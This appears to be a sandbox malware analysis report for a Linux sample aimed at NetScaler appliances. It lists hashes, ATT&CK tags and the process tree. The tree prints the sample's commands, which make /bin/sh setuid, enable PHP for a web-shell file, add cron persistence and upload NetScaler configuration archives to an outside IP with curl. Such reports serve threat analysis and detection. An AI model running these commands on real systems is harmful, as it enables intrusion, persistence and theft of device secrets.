b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

Analysis

max time kernel
25s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 16:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
Size 25KB
Sample261003-vcmcvaec83
SHA256 b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
MD5 df2f93ccc44711e299748af2bca30c8c
SHA1 fbcfb4a1578b8979e0330c280215966f6057c92e
SHA512 d11e60672df96a1857181130ff78c6c5c6c96ca66067025ac1f12aaeaa33c52d345af3be03d162061719238470e24abda4c71a0f79c2d5ddc4ab2d18a72cd51e
SSDEEP 768:hFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:5Q2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T165C2EAC17C6E5DB183D7C47CEB9AD44177675447140A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.BJK8CJ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
726	sh
805	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/98/status	ps
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/305/status	pkill
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/312/cmdline	ps
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/98/status	pkill
File opened for reading	/proc/107/status	pkill
File opened for reading	/proc/586/cmdline	ps
File opened for reading	/proc/659/stat	ps
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/643/cmdline	ps
File opened for reading	/proc/648/status	ps
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/638/status	pkill
File opened for reading	/proc/290/status	pkill
File opened for reading	/proc/326/status	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/659/cmdline	pkill
File opened for reading	/proc/710/status	pkill
File opened for reading	/proc/597/stat	ps
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/296/cmdline	pkill
File opened for reading	/proc/644/status	pkill
File opened for reading	/proc/98/status	pkill
File opened for reading	/proc/320/stat	ps
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/700/cmdline	ps
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/709/cmdline	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/314/cmdline	pkill
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/641/stat	ps
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/108/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/644/status	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/642/status	ps

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	sh
727	gzip
805	sh
806	gzip
710	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
1⤵
- Writes file to tmp directory
PID:644
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:646
- /bin/cat
  cat
  2⤵
  PID:650
- /bin/cat
  cat
  2⤵
  PID:653
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:656
- /bin/cat
  cat
  2⤵
  PID:661
- /bin/cat
  cat
  2⤵
  PID:666
- /bin/cat
  cat
  2⤵
  PID:670
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:673
- /bin/cat
  cat
  2⤵
  PID:675
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:676
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:678
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:680
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  - Reads runtime system information
  PID:681
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:684
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:686
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:687
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:689
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:690
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:691
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:693
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  - Reads runtime system information
  PID:694
- /bin/cat
  cat
  2⤵
  PID:695
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:696
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:697
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:698
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:700
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:699
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:702
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:701
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:701
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:703
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:704
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:705
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:706
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:707
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:709
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:710
- /bin/date
  date -u
  2⤵
  PID:713
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:711
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:712
- /usr/bin/id
  id
  2⤵
  PID:714
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:711
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:712
- /bin/uname
  uname -a
  2⤵
  PID:715
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:716
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:717
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:718
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:719
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:720
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:721
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:722
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:723
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:724
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:725
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:726
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:727
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/274124/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:728
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:804
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:805
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:806
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/274124/loot_nshist.tgz
  2⤵
  - Checks CPU configuration
  PID:807
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:808
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/274124/loot_httpd.conf
  2⤵
  - Checks CPU configuration
  PID:809
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/274124/loot_diag.txt
  2⤵
  - Checks CPU configuration
  PID:812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.BJK8CJ

Path /var/spool/cron/crontabs/tmp.BJK8CJ
Size 278B
SHA256 520f6428961aff845103af75e7494e5e7516f7e91f32ac7069c709993b0d54e8
MD5 2511de456b6f7697551b7bbbfa032370
SHA1 3b0f31cf526a60c3d2cde968f4925df7d7376e2b
SHA512 d27449d0aa626ae608460209295df50fd528e1afc2e26e197b95906c45794c4e440c3632fb6e24a3d74b414002998280d9e9b3d1097297c07c380f516d14de2f
TLSH
T19FD02B392A04ADB38A490BB4929B287D6D41D1BC68094E11F08DA054911934F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 b62cec8d39990f00e58ff2ac804690f56684f5f537081cb0a94d4e0f84c5580a
MD5 130fd2e59ed12f64f293139537dec732
SHA1 a3714750b4dcaba1f78e6a314d0391ccee809447
SHA512 4730869804418b7051ddaa484d03ee719d83d1508f7dedd3ec6c6bec5a79b3b4010df8b5751c433346f2010d1964eeb91ec304337fc0027698907feb31aed4b3
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 147ea0aea5f8fba994c74cdf73d8f86d8ed41f386a9d6c8204f48b5fe670b745
MD5 c991bdfd2793cb1c38b8c0ba91557cd7
SHA1 55872c3e1f706cfed9edf1f365506c87b960e6d5
SHA512 a5f764daed8b8b05b1293c08ea9c1e17fb480bdee25b8d0e43e4ae1f4e50fe084c39da7dc18adc2583a9417b3822b08b686ee4a6b2657b722b3a07ed64dff3be
TLSH
T1D9619D486478E033DCE4218F05967005A9DDF8292B2D78DCF6009F79AA187B8E8D06D2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 0ad1bd8682dcb4b18bdf49be875fa84c46aa105deb56f52458653a9732af6238
MD5 424ef5c24124876afdc2ec3133f4257d
SHA1 bf5277e39a2564d07d39a0aa74c0104232e45821
SHA512 2f97796fe6ece2b96f86b84968952ebd80a3a6fb2fff11ec6eb81ec4c9ccc63c84e37eb144e0c7538afdeda89144f7f52c10cd1c846510f8b865d2805353a397
TLSH
T1EE9002B151076E25142754C6B8C58C45422598AD085CA598946583A18A8101B078E502
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 f5589c159ee13955f65d8089fa7a659283976f076a720eb824aa6d85b94c0a58
MD5 79304362053e977c867db28c1475103f
SHA1 6c52136677a0f50bcb193850719f404fa93ff342
SHA512 c933a42fe031c08fe0f4330488d5d125fa391a02d8afb96a26705309286e4a208f9cd04af2229e49a29e209f957e609819daa4fbc40d792cabd0eb049a0bf3b0
TLSH
T1C9B0127002126912202380D5F4E04CC70233DC9806587C44AA94C393854010E138A002
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 202B
SHA256 8078ffcc8d154d3ec544458e5394ae92ed246529c5459cd530a22de3598b9336
MD5 40aa3ff7638f3bb4189c3768d573d48f
SHA1 3b087de2cdc01699e9f605bb2f6abb160dd9f2fb
SHA512 86c132f28c4b7f27f4fdc3278e94bc6b103f979b95a811211a040c59d3b1259865e865eb0b46f95838dae617eb83ff7aac609c08270ae1867d5d0b8dc0ddfa2d
TLSH
T19ED022A03261B7831943D0C2F4F68CE6827798A60A3A7B48F99D8392462010F5787941
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 226B
SHA256 1735b87fd544d0fd5d3417a00d3d96118827486a7b45e3fd7ea4c69a3cd0e075
MD5 f2013409691a058c583dca11460dc4cb
SHA1 905218940de2b21f132ed352efbd8c5647ebf009
SHA512 20298fc4f4279bed700f939db01f58969a35075efea764506d2c2e65ad74e134df724dd275c5c9b4a888b29adde10234376a2667cf48027fc75843220f4ae0ef
TLSH
T1B9D097903220E2830983D0C2F0E58CA6817384910A3A7B08A8AC83824A1010E2743A01
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 837B
SHA256 78c8203a176faf142e806db2de3adc2c0847c4cd74207fa83ce78ee854094819
MD5 7c4f893c365b00d4fb91d80fdb975253
SHA1 9a6d7baef6cd388960f98fa10808c995eb57e9f4
SHA512 69612ea88d23aacb25aa10b886831b9235327e2adef0192f6892e89aa57850af0fbcb0a0a1d2b3d7821ec92791b621b6a0b4d60fab065c0227e86f0ea59deac7
TLSH
T10701C2C7B41A92736BD3DDF7FCBA0694406380A54E1E7FA85D9DA215C10218A4F8BE1D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 169B
SHA256 772d9d599c3f42597bdb3c058b63e92b460b003d45a88b7abcf594757b10e411
MD5 64d6cb7cbb3bfbbc05c7479f6696cba4
SHA1 b9b1e3e41948a062085415f08ae8a11fc8cc07ba
SHA512 9991b674557c30d38a1475f8e6ba9de2698da43a4f2decc3f396fa85fd1a3690e760ea3492cf960be9538e3a39bc270ee28a7d51c79342c9bceba7621e1b9e16
TLSH
T153C080EC42400E001C0F35777CF1184D24800755DB01D7911C1844575043230DC8CDDD
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 ca2f1ddacce7313c5fdb626cdd3f81698fe850bbc28892db089471940353082f
MD5 f4d5c5a91c10109d295eea5eb5a7fdc8
SHA1 1e3952301a17b3bd5711415175096c8b20de6196
SHA512 9fe26b5399f3be96822fe0ca3ecb42168bc944c9b6bc491f6b2bfbf08080aa2e8891f97ceee5f0b97a45cd31281cec1c7016ac4a88ccae2afec4c9d71ac3f84b
TLSH
T1499002661421649F51A28356B23642D6D511E582125420297B59048340A581D8231410
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads